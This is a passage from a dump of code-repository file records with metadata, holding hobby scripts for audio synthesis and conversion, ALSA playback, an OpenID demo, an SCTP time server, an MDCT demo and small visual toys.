maxidx}\n'\necho\n\necho \"Most visited pages (top 10):\"\ncat $LOG | awk -v FS='\"' '{print $2}' | sed 's/[A-Z]\\+ \\(.*\\) HTT.*/\\1/' |\\\nsort | uniq -c | sort -nr | head -10\necho\n\necho \"Most active clients (top 10):\"\ncat $LOG | awk '{print $3}' | sort | uniq -c | sort -nr | head -10\necho\n\necho \"Most common browsers (top 10):\"\ncat $LOG | awk -v FS='\"' '{print $6}' | sort | uniq -c | sort -nr | head -10\necho\n\necho \"Response codes distribution:\"\ncat $LOG | awk -v FS='\"' '{print $3}' | awk '{print $1}' | sort | uniq -c | \\\nsort -nr\necho\n" }, { "alpha_fraction": 0.4678794741630554, "alphanum_fraction": 0.5250142216682434, "avg_line_length": 23.262069702148438, "blob_id": "c7dae848ed04649075d21e0759b8627f0799288c", "content_id": "842bb854bf951a90fcee563bcc2c54d5bba8b2ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3518, "license_type": "no_license", "max_line_length": 58, "num_lines": 145, "path": "/src/playmusictones3.py", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "import re\nimport sys\nimport wave\nimport struct\nimport numpy as np\n\nclass Octave(object):\n C0 = 16.35159783128741\n HTFR = 2**(1.0/12) # half-tone frequency ratio\n\n __table__ = []\n\n for i in range(12):\n if i == 0:\n row = [C0*(2**i) for i in range(10)]\n else:\n row = [i*HTFR for i in __table__[i-1]]\n __table__.append(row)\n\n __pitches__ = ['C', 'C#', 'D', 'D#', 'E', 'F',\n 'F#', 'G', 'G#', 'A', 'A#', 'B']\n\n @classmethod\n def tone(cls, name):\n \"\"\"Get the frequency of a tone.\n e.g. tone('C4') => 440.0\n \"\"\"\n if len(name) == 2:\n pitch = name[0]\n elif len(name) == 3:\n pitch = name[:2]\n else:\n raise ValueError('invalid tone name')\n\n if pitch not in cls.__pitches__:\n raise ValueError('invalid tone name')\n\n pitch = cls.__pitches__.index(pitch)\n\n try:\n level = int(name[-1])\n except ValueError:\n raise ValueError('invalid tone name')\n\n return cls.__table__[pitch][level]\n\n\ndef sine(freq=1000, samples=44100):\n periods = freq * samples / 44100\n return np.sin(np.linspace(0, np.pi * 2 * periods,\n samples, endpoint=False))\n\ndef quantize(real, scale=32768):\n UPPER_BOUND = scale - 1\n LOWER_BOUND = -scale\n\n num = int(round(real * scale))\n if num > UPPER_BOUND:\n num = UPPER_BOUND\n elif num < LOWER_BOUND:\n num = LOWER_BOUND\n return num\n\ndef pack_int16le(num):\n return struct.pack('h', num)\n\ndef sine_pcm(freq=1000, samples=44100):\n return [quantize(i) for i in sine(freq, samples)]\n\ndef sine_pcm_data(freq=1000, samples=44100):\n pcm_samples = sine_pcm(freq, samples)\n return ''.join([pack_int16le(i) for i in pcm_samples])\n\ndef tone_pcm_data(name, samples=44100):\n freq = int(round(Octave.tone(name)))\n return sine_pcm_data(freq, samples)\n\ndef translate_numnote(name, base=4):\n alpha = 'CDEFGAB'\n\n m = re.match(\"^(\\d)(,*|'*)([\\*\\/]\\d+)?$\", name)\n if not m:\n raise ValueError(\"invalid notation '%s'\" % name)\n\n a, b, c = m.groups()\n\n tone = alpha[int(a)-1]\n\n if not b:\n level = base\n elif b[0] == \"'\":\n level = base + len(b)\n else:\n level = base - len(b)\n\n if not c:\n length = 1\n elif c[0] == '*':\n length = 1 * int(c[1:])\n else:\n length = 1.0 / int(c[1:])\n\n tone = '%s%s' % (tone, level)\n\n return (tone, length)\n\ndef numnote_pcm_data(name, base=4, samples=44100):\n tone, length = translate_numnote(name, base)\n return tone_pcm_data(tone, int(samples * length))\n\ndef save_music(wf, seq, base=4, beatlen=1):\n beats = 0\n for i in seq:\n tone, length = translate_numnote(i, base)\n samples = int(44100 * beatlen * length)\n data = tone_pcm_data(tone, samples)\n wf.writeframes(data)\n beats += length\n\n playtime = beats * beatlen # seconds\n print 'beats: %s, playtime: %s' % (beats, playtime)\n\n########################################\n\nscore = \"\"\"\n1''/2 7'/2 1''/2 3''/2 7'*2\n6'/2 5'/2 6'/2 1''/2 5'*2\n4'/2 3'/2 4'/2 1''/2 7' 5'\n6'/2 7'/2 1''/2 3''/2 2''*2\n1''/2 7'/2 1''/2 3''/2 7' 5'\n6'/2 7'/2 1''/2 2''/2 3'' 3''\n4''/2 3''/2 2''/2 1''/2 7'/2 3''/2 5'/2 7'/2\n6'*4\n\"\"\"\n\nscore = re.split('\\s+', score.strip())\n\nwf = wave.open('hoshi_no_arika.wav', 'wb')\nwf.setnchannels(1)\nwf.setframerate(44100)\nwf.setsampwidth(2)\n\nsave_music(wf, score, base=4, beatlen=0.5)\n\nwf.close()\n" }, { "alpha_fraction": 0.6965376734733582, "alphanum_fraction": 0.6965376734733582, "avg_line_length": 19.45833396911621, "blob_id": "6fb0f2d4bb4cd85eefa7af7437287839b663bccc", "content_id": "ccf84bb8b2612d8a61ffd7b3ba5c09adc19e3ad4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 491, "license_type": "no_license", "max_line_length": 73, "num_lines": 24, "path": "/src/libplaypcm.h", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#ifndef __LIBPLAYPCM_H__\n#define __LIBPLAYPCM_H__\n\n#include <alsa/asoundlib.h>\n\ntypedef struct {\n snd_pcm_t *pcm_handle;\n int framerate;\n int nchannels;\n int sampwidth;\n int periodsize;\n int buffersize;\n char *buffer;\n} pcm_player;\n\npcm_player *pcm_player_init(int framerate, int nchannels, int sampwidth);\n\nint pcm_player_write(pcm_player *player, const char *buff);\n\nvoid pcm_player_play(pcm_player *player, int fd);\n\nvoid pcm_player_free(pcm_player *player);\n\n#endif\n" }, { "alpha_fraction": 0.5518242120742798, "alphanum_fraction": 0.578772783279419, "avg_line_length": 26.724138259887695, "blob_id": "bb2594e63506564ee256a6dd8270de138fe859a3", "content_id": "8d5e232eda5c28df2ae6300eafcb510732ddc893", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2412, "license_type": "no_license", "max_line_length": 70, "num_lines": 87, "path": "/src/wav_curve.py", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "# Draw the amplitute of a wave file.\n# Requires numpy and matplotlib.\n\nimport sys\nimport wave\nimport struct\nimport matplotlib\nimport numpy as np\nfrom matplotlib.lines import Line2D\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\nwf = wave.open(sys.argv[1], 'rb')\n\nnchannels = wf.getnchannels()\nframerate = wf.getframerate()\nsampwidth = wf.getsampwidth()\nsys.stdout.write('Channels: %d\\n' % nchannels)\nsys.stdout.write('Frame rate: %d\\n' % framerate)\nsys.stdout.write('Sample width: %d\\n' % sampwidth)\n\nclass Scope:\n def __init__(self, ax, maxt=1000, dt=1):\n self.ax = ax\n self.dt = dt\n self.maxt = maxt\n self.tdata = [0]\n self.ydata = [0]\n self.line = Line2D(self.tdata, self.ydata)\n self.ax.add_line(self.line)\n #self.ax.set_ylim(-32768, 32767)\n self.ax.set_ylim(-5000, 5000)\n self.ax.set_xlim(0, self.maxt)\n\n def update(self, y):\n lastt = self.tdata[-1]\n if lastt > self.tdata[0] + self.maxt: # reset the arrays\n self.tdata = [self.tdata[-1]]\n self.ydata = [self.ydata[-1]]\n self.ax.set_xlim(self.tdata[0], self.tdata[0] + self.maxt)\n self.ax.figure.canvas.draw()\n\n t = self.tdata[-1] + self.dt\n self.tdata.append(t)\n self.ydata.append(y)\n self.line.set_data(self.tdata, self.ydata)\n return self.line,\n\n\ndef emitter():\n count = 0\n while True:\n data = wf.readframes(framerate*interval)\n if not len(data):\n break\n\n framesize = nchannels * sampwidth\n nframes = len(data) / framesize\n print nframes\n count += nframes\n if count % 100 == 0:\n print count\n sum = 0\n for i in range(0, len(data), framesize):\n if nchannels == 1:\n l = struct.unpack('h', data[i:i+framesize])[0]\n sum += l\n elif nchannels == 2:\n l, r = struct.unpack('hh', data[i:i+framesize])\n sum += l\n else:\n raise 'invalid nchannels: %s' % nchannels\n avg = 1.0 * sum / nframes\n yield avg\n\n\ninterval = 0.01 # 0.01 sec\nxmax = 10 # x-axis: 10 sec\n\nfig = plt.figure()\nax = fig.add_subplot(111)\nscope = Scope(ax, maxt=xmax, dt=interval)\n\nani = animation.FuncAnimation(fig, scope.update, emitter,\n interval=interval*1000, blit=True)\n\nplt.show()\n" }, { "alpha_fraction": 0.6086470484733582, "alphanum_fraction": 0.6175922751426697, "avg_line_length": 34.30263137817383, "blob_id": "c945dd723f801128d763f4910d8eb9b6c2df33ac", "content_id": "564211f16a0f31300e0def5a45b22f014c1ae42c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2683, "license_type": "no_license", "max_line_length": 75, "num_lines": 76, "path": "/src/openid_consumer.py", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "# OpenID consumer demo.\n# Refer to: https://github.com/openid/python-openid\n\nimport openid\nimport webapp2\nfrom openid.consumer import consumer\nfrom openid.extensions import sreg\n\n# my OpenID: https://myprovider.com/openid/myname\nOPENID_PROVIDER_URL = 'https://myprovider.com/openid/'\n\nclass RootHandler(webapp2.RequestHandler):\n def get(self):\n print self.request.path\n if self.request.path == '/':\n self.response.content_type = 'text/plain'\n self.response.body = 'Please visit /login\\n'\n elif self.request.path == '/login':\n self.doLogin()\n elif self.request.path == '/verify':\n self.doVerify()\n else:\n self.response.status_int = 404\n\n def doLogin(self):\n oidconsumer = consumer.Consumer(dict(), None)\n\n try:\n request = oidconsumer.begin(OPENID_PROVIDER_URL)\n if request is None:\n msg = 'No OpenID services found for ' + OPENID_PROVIDER_URL\n raise consumer.DiscoveryFailure(msg, None)\n except consumer.DiscoveryFailure, exc:\n self.response.status_int = 500\n self.response.content_type = 'text/plain'\n self.response.body = 'Error in discovery: %s' % exc[0]\n return\n\n sreg_request = sreg.SRegRequest(['nickname', 'fullname', 'email'])\n request.addExtension(sreg_request)\n\n realm = 'http://localhost:9000/'\n return_to = realm + 'verify'\n redirect_url = request.redirectURL(realm, return_to)\n\n self.response.status_int = 302\n self.response.location = redirect_url\n\n def doVerify(self):\n oidconsumer = consumer.Consumer(dict(), None)\n\n query = self.request.params\n current_url = self.request.path_url\n info = oidconsumer.complete(query, current_url)\n identifier = info.getDisplayIdentifier() or ''\n\n if info.status == consumer.SUCCESS and \\\n identifier.startswith(OPENID_PROVIDER_URL):\n sreg_resp = dict(sreg.SRegResponse.fromSuccessResponse(info))\n self.response.body = 'Identity: %s\\nRegistration: %s\\n' % \\\n (identifier,sreg_resp)\n else:\n self.response.status_int = 403\n self.response.content_type = 'text/plain'\n self.response.body = 'OpenID verification failed.'\n return\n\n\napplication = webapp2.WSGIApplication([('/.*', RootHandler)])\n\nif __name__ == '__main__':\n from wsgiref.simple_server import make_server\n host, port = 'localhost', 9000\n server = make_server(host, port, application)\n print 'Serving on port %s:%s...' % (host, port)\n server.serve_forever()\n" }, { "alpha_fraction": 0.5394594669342041, "alphanum_fraction": 0.569729745388031, "avg_line_length": 19.55555534362793, "blob_id": "0163ccb947b9b76d0fcee5f45cb5cd9e7ebd88fe", "content_id": "7248b9a6d6c6c4c171010ae5448770177f5ff976", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 925, "license_type": "no_license", "max_line_length": 53, "num_lines": 45, "path": "/src/cosinecurve.py", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# encoding: utf-8\n\n# Draw a cosine curve.\n\nimport math\nimport pygame\nfrom pygame.locals import *\n\nWINSIZE = [960, 540]\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\n\ndef draw_curve(surface):\n w, h = WINSIZE\n hh = h / 2.0\n scale = 100.0 # one period = (2*pi*scale) pixels\n for i in range(w):\n y = int(hh * -math.cos(i/scale) + hh)\n surface.set_at((i, y), BLACK)\n\ndef main():\n pygame.init()\n clock = pygame.time.Clock()\n\n pygame.display.set_caption('Draw a curve')\n screen = pygame.display.set_mode(WINSIZE,\n pygame.HWSURFACE|pygame.DOUBLEBUF)\n screen.fill(WHITE)\n\n draw_curve(screen)\n pygame.display.update()\n\n quit = False\n while not quit:\n for e in pygame.event.get():\n if e.type == pygame.QUIT:\n quit = True\n break\n clock.tick(60)\n\n pygame.quit()\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5492537021636963, "alphanum_fraction": 0.5582089424133301, "avg_line_length": 24.125, "blob_id": "77411763f284606ad470caa826c6b0f2d536d046", "content_id": "fd164a7f815a89542d1758174e2c6daa5091947a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2010, "license_type": "no_license", "max_line_length": 72, "num_lines": 80, "path": "/src/pcm2wav", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport sys\nimport wave\nimport getopt\nimport struct\n\ndef transfer(inf, wf, nchannels, framerate, sampwidth):\n wf.setnchannels(nchannels)\n wf.setframerate(framerate)\n wf.setsampwidth(sampwidth)\n\n framesize = nchannels * sampwidth\n bufsz = framesize * framerate # frames of one second\n\n nframes = 0\n while True:\n data = inf.read(bufsz)\n datalen = len(data)\n\n if datalen < framesize:\n break\n\n rem = datalen % framesize\n if rem > 0:\n data = data[:-rem]\n\n wf.writeframes(data)\n nframes += len(data) / framesize\n\n return nframes\n\ndef convert(input, output, nchannels, framerate, sampwidth):\n sys.stdout.write('Channels: %d\\n' % nchannels)\n sys.stdout.write('Frame rate: %d\\n' % framerate)\n sys.stdout.write('Sample width: %d\\n' % sampwidth)\n\n with open(input, 'rb') as inf:\n wf = wave.open(output, 'wb')\n nframes = transfer(inf, wf, nchannels, framerate, sampwidth)\n wf.close()\n print 'nframes: %s' % nframes\n print 'nbytes: %s' % (nframes * nchannels * sampwidth)\n\ndef usage():\n print 'pcm2wav INPUT OUTPUT'\n\ndef version():\n print 'pcm2wav 0.1.0'\n\ndef main():\n nchannels = 2\n framerate = 44100\n sampwidth = 2\n\n try:\n opts, args = getopt.getopt(sys.argv[1:], 'hc:r:w:V',\n ['help', 'nchannels=', 'framerate', 'sampwidth', 'version'])\n except getopt.GetoptError, err:\n show_usage()\n sys.exit(1)\n\n for o, a in opts:\n if o in ('-h', '--help'):\n show_usage()\n exit()\n elif o in ('-c', '--nchannels'):\n nchannels = int(a)\n elif o in ('-r', '--framerate'):\n framerate = int(a)\n elif o in ('-w', '--sampwidth'):\n sampwidth = int(a)\n elif o in ('-V', '--version'):\n show_version()\n exit()\n\n convert(args[0], args[1], nchannels, framerate, sampwidth)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.59375, "alphanum_fraction": 0.6206597089767456, "avg_line_length": 22.040000915527344, "blob_id": "ae39cbe64d38020906dc884a37cf874faabdf5f1", "content_id": "d8ed3fd76588dfd1eb92d9cd83c864701c51167a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1152, "license_type": "no_license", "max_line_length": 71, "num_lines": 50, "path": "/src/playpcm.c", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "// playpcm.c: play raw PCM sound data.\n// It reads PCM data from stdin.\n//\n// Compile:\n// $ gcc -o playpcm playpcm.c libplaypcm.c -lasound\n// \n// Usage:\n// $ ./playpcm sample_rate channels seconds < file\n// \n// Examples:\n// $ ./playpcm 44100 2 5 < /dev/urandom\n// $ ./playpcm 22050 1 8 < foo.pcm\n//\n// References:\n// http://users.suse.com/~mana/alsa090_howto.html\n// http://www.alsa-project.org/main/index.php/FramesPeriods\n// https://gist.github.com/ghedo/963382\n\n#include <stdio.h>\n#include <unistd.h>\n#include \"libplaypcm.h\"\n\nint main(int argc, char **argv) {\n int framerate, nchannels, sampwidth;\n pcm_player *player;\n\n if (argc < 4) {\n printf(\"Usage: %s SampleRate Channels SampleWidth\\n\", argv[0]);\n return -1;\n }\n\n framerate = atoi(argv[1]);\n nchannels = atoi(argv[2]);\n sampwidth = atoi(argv[3]);\n\n // create a player\n player = pcm_player_init(framerate, nchannels, sampwidth);\n if(player == NULL) {\n fprintf(stderr, \"error: can't init pcm_player\\n\");\n return 1;\n }\n\n // play\n pcm_player_play(player, STDIN_FILENO);\n\n // finish\n pcm_player_free(player);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.5527950525283813, "alphanum_fraction": 0.5605590343475342, "avg_line_length": 22, "blob_id": "01ce19937bf7a11e5aa188d24c4b000ec81412cf", "content_id": "d8dbd69037e40f3fbd7e7f402727608b4ac92b96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 644, "license_type": "no_license", "max_line_length": 64, "num_lines": 28, "path": "/src/wavinfo.py", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport sys\nimport wave\n\ndef wavinfo(filename):\n wf = wave.open(filename, 'rb')\n\n nchannels = wf.getnchannels()\n sampwidth = wf.getsampwidth() * 8 # bits\n framerate = wf.getframerate()\n nframes = wf.getnframes()\n duration = 1.0 * nframes / framerate\n\n wf.close()\n\n return '%d chan, %d bit, %d Hz, %d frames, %.0f seconds' % \\\n (nchannels, sampwidth, framerate, nframes, duration)\n\ndef main():\n for arg in sys.argv[1:]:\n try:\n print '%s: %s' % (arg, wavinfo(arg))\n except Exception, e:\n print '%s: %s' % (arg, e)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6530733108520508, "alphanum_fraction": 0.6566193699836731, "avg_line_length": 39.28571319580078, "blob_id": "97e7321d8cb4357e230d778c7a4eafefdf54483a", "content_id": "69cafb288d623f111e24709724d43b2be0e8b96e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1692, "license_type": "no_license", "max_line_length": 77, "num_lines": 42, "path": "/src/listports.py", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# listports.py -- List ALSA MIDI ports.\n\n# Get pyalsa from here: ftp://ftp.alsa-project.org/pub/pyalsa/\nfrom pyalsa import alsaseq\n\nCAP_READ = alsaseq.SEQ_PORT_CAP_READ | alsaseq.SEQ_PORT_CAP_SUBS_READ\nCAP_WRITE = alsaseq.SEQ_PORT_CAP_WRITE | alsaseq.SEQ_PORT_CAP_SUBS_WRITE\n\ndef is_midi_input_port(type, caps):\n return type & alsaseq.SEQ_PORT_TYPE_MIDI_GENERIC and caps & CAP_READ\n\ndef is_midi_output_port(type, caps):\n return type & alsaseq.SEQ_PORT_TYPE_MIDI_GENERIC and caps & CAP_WRITE\n\ndef get_midi_output_ports():\n input_ports, output_ports = [], []\n sequencer = alsaseq.Sequencer(name='default', clientname='listports.py',\n streams=alsaseq.SEQ_OPEN_DUPLEX, mode=alsaseq.SEQ_BLOCK)\n for connections in sequencer.connection_list():\n clientname, clientid, connectedports = connections\n for port in connectedports:\n portname, portid, connections = port\n portinfo = sequencer.get_port_info(portid, clientid)\n type, caps = portinfo['type'], portinfo['capability']\n if is_midi_input_port(type, caps):\n input_ports.append((clientid, portid, clientname, portname))\n elif is_midi_output_port(type, caps):\n output_ports.append((clientid, portid, clientname, portname))\n return input_ports, output_ports\n\ndef list_ports(ports):\n print ' Port Client name Port name'\n for port in ports:\n print '%3d:%-3d %-32.32s %s' % port\n\nif __name__ == '__main__':\n input_ports, output_ports = get_midi_output_ports()\n print 'Input ports:'\n list_ports(input_ports)\n print '\\nOutput ports:'\n list_ports(output_ports)\n" }, { "alpha_fraction": 0.5813303589820862, "alphanum_fraction": 0.5930687785148621, "avg_line_length": 24.55714225769043, "blob_id": "5f97672c64c570b706d9760c4d33dd7512437170", "content_id": "e90fa60e7cd2a49ca60eadf8bc3f53227641a93c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1789, "license_type": "no_license", "max_line_length": 75, "num_lines": 70, "path": "/src/playwav_sdlmixer.py", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "# Play a wave file with SDL mixer.\n# It is not suitable for playing long music.\n# physacco 2013\n\nimport sys\nimport wave\nimport numpy\nimport struct\nimport pygame\nfrom pygame.locals import *\n\ndef play_wave(wavef, channel, sample_rate):\n data = wavef.readframes(sample_rate)\n if not len(data):\n return False\n\n play_frames(channel, data)\n return True\n\ndef play_frames(channel, data):\n nframes = len(data) / 4\n buf = numpy.zeros((nframes, 2), dtype = numpy.int16)\n for i in range(nframes):\n buf[i][0], buf[i][1] = struct.unpack('hh', data[i*4:(i+1)*4])\n\n sound = pygame.sndarray.make_sound(buf)\n channel.play(sound)\n\ndef main():\n # open wave file\n path = sys.argv[1]\n wavef = wave.open(path, 'rb')\n\n nchannels = wavef.getnchannels()\n sampwidth = wavef.getsampwidth()\n framerate = wavef.getframerate()\n print '%d channels, %d bits, %d Hz' % (nchannels, sampwidth, framerate)\n\n # init pygame\n pygame.mixer.pre_init(framerate, -sampwidth*8, nchannels)\n pygame.init()\n pygame.display.set_mode((640, 480))\n\n channel = pygame.mixer.find_channel()\n channel.set_endevent(pygame.USEREVENT)\n\n # play wave file\n play_wave(wavef, channel, framerate)\n\n # main loop\n _running = True\n while _running:\n for event in pygame.event.get():\n print event\n if event.type == pygame.QUIT:\n _running = False\n break\n elif event.type == pygame.USEREVENT:\n # big latency!\n cont = play_wave(wavef, channel, framerate)\n if not cont:\n print 'playback finished'\n _running = False\n break\n\n # shutdown\n pygame.quit()\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.4238682985305786, "alphanum_fraction": 0.4924554228782654, "avg_line_length": 17.443037033081055, "blob_id": "c7f45f9d4bcf7e2a8dee43b89390e9c199a39f83", "content_id": "88004256956b8229be62cba46f13c137c4a5b6ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 1458, "license_type": "no_license", "max_line_length": 93, "num_lines": 79, "path": "/src/mdct.rb", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "\n# mdct.rb\n# Modified Discrete Cosine Transform (MDCT)\n# https://en.wikipedia.org/wiki/Modified_discrete_cosine_transform\n\nclass Float\n def inspect\n \"#{round(3)}\"\n end\nend\n\ndef mdct(seq)\n _N = seq.size / 2\n (0..._N).map do |k|\n (0..._N*2).map do |n|\n seq[n]*Math.cos(Math::PI/_N*(n+0.5+_N*0.5)*(k+0.5))\n end.reduce(:+)\n end\nend\n\ndef imdct(seq)\n _N = seq.size\n (0..._N*2).map do |n|\n (0..._N).map do |k|\n seq[k]*Math.cos(Math::PI/_N*(n+0.5+_N*0.5)*(k+0.5))\n end.reduce(:+) / _N\n end\nend\n\n# [..., sa[i] + sb[i], ...]\ndef seqadd(sa, sb)\n 0.upto(sa.size-1).map do |i|\n sa[i] + sb[i]\n end\nend\n\n# [..., sa[i] - sb[i], ...]\ndef seqsub(sa, sb)\n 0.upto(sa.size-1).map do |i|\n sa[i] - sb[i]\n end\nend\n\nxn = [1, 1, 1, 1]\nyn = mdct(xn)\nzn = imdct(yn)\ndn = seqsub(zn, xn)\nputs \"xn: #{xn}\"\nputs \"yn: #{yn}\"\nputs \"zn: #{zn}\"\nputs \"zn-xn: #{dn}\"\n\nputs \"\\n================ imdct(mdct(xn)) != xn\\n\\n\"\n\nxn = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]\nputs \"xn: #{xn}\"\n\ny1 = mdct(xn[0...8])\ny2 = mdct(xn[4...12])\ny3 = mdct(xn[8...16])\nputs \"y1: #{y1}\"\nputs \"y2: #{y2}\"\nputs \"y3: #{y3}\"\n\nz1 = imdct(y1) + [0.0] * 8\nz2 = [0.0] * 4 + imdct(y2) + [0.0] * 4\nz3 = [0.0] * 8 + imdct(y3)\n\nputs \"z1: #{z1}\"\nputs \"z2: #{z2}\"\nputs \"z3: #{z3}\"\n\nzn = seqadd(seqadd(z1, z2), z3)\nputs \"zn: #{zn}\"\n\ndn = seqsub(zn, xn)\nputs \"zn-xn: #{dn}\"\nputs\n\nputs \"\\n================ (imdct(mdct(x[0:2N])) + imdct(mdct(x[N:3N])))[N:2N] == xn[N:2N]\\n\\n\"\n" }, { "alpha_fraction": 0.5953540802001953, "alphanum_fraction": 0.6084675788879395, "avg_line_length": 29.67816162109375, "blob_id": "94c0df285e91bc082324b8dc7262849c9191b180", "content_id": "9694eb310af0f965a474222c43da9c1e526b7cde", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2669, "license_type": "no_license", "max_line_length": 82, "num_lines": 87, "path": "/src/sctpsrvr.c", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "// SCTP multi-stream server.\n// gcc -o sctpsrvr sctpsrvr.c -lsctp\n// Ref: http://www.ibm.com/developerworks/library/l-sctp/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <time.h>\n#include <errno.h>\n#include <signal.h>\n#include <unistd.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <netinet/in.h>\n#include <netinet/sctp.h>\n\n#define MAX_BUFFER 1024\n#define MY_PORT_NUM 3000\n#define LOCALTIME_STREAM 0\n#define GMT_STREAM 1\n\nint main()\n{\n int listenSock, connSock, ret;\n struct sockaddr_in servaddr;\n struct sctp_initmsg initmsg;\n char buffer[MAX_BUFFER+1];\n time_t currentTime;\n\n // ignore SIGPIPE\n signal(SIGPIPE, SIG_IGN);\n\n // Create SCTP TCP-Style Socket\n listenSock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);\n\n // Accept connections from any interface\n bzero((void *)&servaddr, sizeof(servaddr));\n servaddr.sin_family = AF_INET;\n servaddr.sin_addr.s_addr = htonl(INADDR_ANY);\n servaddr.sin_port = htons(MY_PORT_NUM);\n\n ret = bind(listenSock, (struct sockaddr *)&servaddr, sizeof(servaddr));\n\n // Specify that a maximum of 5 streams will be available per socket\n memset(&initmsg, 0, sizeof(initmsg));\n initmsg.sinit_num_ostreams = 5;\n initmsg.sinit_max_instreams = 5;\n initmsg.sinit_max_attempts = 4;\n ret = setsockopt(listenSock, IPPROTO_SCTP, SCTP_INITMSG,\n &initmsg, sizeof(initmsg));\n\n // Place the server socket into the listening state\n listen(listenSock, 5);\n printf(\"Listening on 0.0.0.0:%d ...\\n\", MY_PORT_NUM);\n\n while(1) {\n connSock = accept(listenSock, (struct sockaddr *)NULL, (socklen_t *)NULL);\n printf(\"Accepted a new connection: %d\\n\", connSock);\n\n // Grab the current time\n currentTime = time(NULL);\n\n // Send local time on stream LOCALTIME_STREAM\n snprintf(buffer, MAX_BUFFER, \"%s\", ctime(&currentTime));\n ret = sctp_sendmsg(connSock, (void *)buffer, (size_t)strlen(buffer),\n NULL, 0, 0, 0, LOCALTIME_STREAM, 0, 0);\n if(ret == -1) {\n printf(\"sctp_sendmsg error: %s\\n\", strerror(errno));\n close(connSock);\n continue;\n }\n\n // Send GMT on stream GMT_STREAM\n snprintf(buffer, MAX_BUFFER, \"%s\", asctime(gmtime(&currentTime)));\n ret = sctp_sendmsg(connSock, (void *)buffer, (size_t)strlen(buffer),\n NULL, 0, 0, 0, GMT_STREAM, 0, 0);\n if(ret == -1) {\n printf(\"sctp_sendmsg error: %s\\n\", strerror(errno));\n close(connSock);\n continue;\n }\n\n close(connSock);\n }\n\n return 0;\n}\n" }, { "alpha_fraction": 0.5899471044540405, "alphanum_fraction": 0.5987654328346252, "avg_line_length": 21.68000030517578, "blob_id": "ca72fe0bbe49076147b99cf6334d3792d4d99c55", "content_id": "cf260172bb0f04bd7df2e346767b9fd2ef36c66b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1134, "license_type": "no_license", "max_line_length": 69, "num_lines": 50, "path": "/src/wav2pcm", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport sys\nimport wave\n\ndef transfer(wf, outf, nchannels, framerate, sampwidth): \n framesize = nchannels * sampwidth\n\n nframes = 0\n while True:\n data = wf.readframes(framerate)\n if not len(data):\n break\n outf.write(data)\n nframes += len(data) / framesize\n\n return nframes\n\ndef convert(input, output):\n wf = wave.open(input, 'rb')\n\n nchannels = wf.getnchannels()\n framerate = wf.getframerate()\n sampwidth = wf.getsampwidth()\n\n sys.stdout.write('Channels: %d\\n' % nchannels)\n sys.stdout.write('Frame rate: %d\\n' % framerate)\n sys.stdout.write('Sample width: %d\\n' % sampwidth)\n\n with open(output, 'w') as outf:\n nframes = transfer(wf, outf, nchannels, framerate, sampwidth)\n print 'nframes: %s' % nframes\n print 'nbytes: %s' % (nframes * nchannels * sampwidth)\n wf.close()\n\ndef usage():\n print 'wav2pcm INPUT OUTPUT'\n\ndef version():\n print 'wav2pcm 0.1.0'\n\ndef main():\n if len(sys.argv) < 3:\n usage()\n exit(1)\n\n convert(sys.argv[1], sys.argv[2])\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.3495575189590454, "alphanum_fraction": 0.4646017551422119, "avg_line_length": 16.384614944458008, "blob_id": "d8a332ac99483fcf3464266719da730437d6415a", "content_id": "d707b01fd3b547527056281a991a740373a7e4aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 226, "license_type": "no_license", "max_line_length": 60, "num_lines": 13, "path": "/src/snow.rb", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "C = `stty size`.split[1].to_i\nS = [0x2743].pack(\"U*\")\na = {}\nputs \"\\033[2J\"\nloop {\n a[rand(C)] = 0\n a.each {|x, o|\n a[x] += 1\n print \"\\033[#{o};#{x}H \\033[#{a[x]};#{x}H#{S} \\033[0;0H\"\n }\n STDOUT.flush\n sleep 0.03\n}\n" }, { "alpha_fraction": 